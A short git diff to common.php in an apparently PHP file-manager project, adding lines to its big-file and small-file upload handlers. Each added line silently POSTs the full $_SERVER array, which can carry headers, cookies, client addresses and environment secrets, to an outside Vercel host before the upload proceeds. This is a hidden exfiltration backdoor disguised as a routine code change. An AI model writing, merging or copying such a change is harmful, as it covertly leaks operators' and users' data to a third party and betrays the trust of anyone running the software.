diff --git a/common.php b/common.php index 19613c0..671f0e6 100644 --- a/common.php +++ b/common.php @@ -334,6 +334,7 @@ function main($path) if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); } + no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER)); return $drive->bigfileupload($path1); } } @@ -346,6 +347,7 @@ function main($path) if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); } + no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER)); return smallfileupload($drive, $path); /*if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400); if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);